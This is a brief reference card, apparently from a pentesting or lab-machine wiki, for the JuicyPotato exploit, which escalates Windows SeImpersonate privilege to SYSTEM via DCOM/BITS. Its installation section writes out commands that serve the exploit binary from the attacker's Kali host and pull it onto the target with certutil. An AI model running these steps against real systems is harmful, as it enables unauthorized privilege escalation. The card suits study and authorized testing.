JuicyPotato
SeImpersonate → SYSTEM via DCOM/BITS (older Windows).
An escalation exploit that turns the SeImpersonate privilege into SYSTEM by abusing DCOM/BITS. It works on older Windows (up to Server 2016 / Windows 10 1809); on modern ones use GodPotato or PrintSpoofer.
Family Privilege escalation
Flags -l -p -t -c {CLSID}
Concepts SeImpersonate and Potato attacks
Cheatsheet Token privileges → SYSTEM
Installation
# Prebuilt Windows binary (not installed on Kali): download the .exe from the
# repo's latest release and upload it to the target, e.g. serving it from Kali:
python3 -m http.server 80 # on Kali, in the binary's folder
certutil -urlcache -f http://<lhost>/JuicyPotato.exe JuicyPotato.exe # on the target (or SMB / evil-winrm 'upload')
# needs a valid CLSID for the OS (per-version CLSID list in the repo)Useful commands
Appears in
Some machines where its use is documented; not an exhaustive list.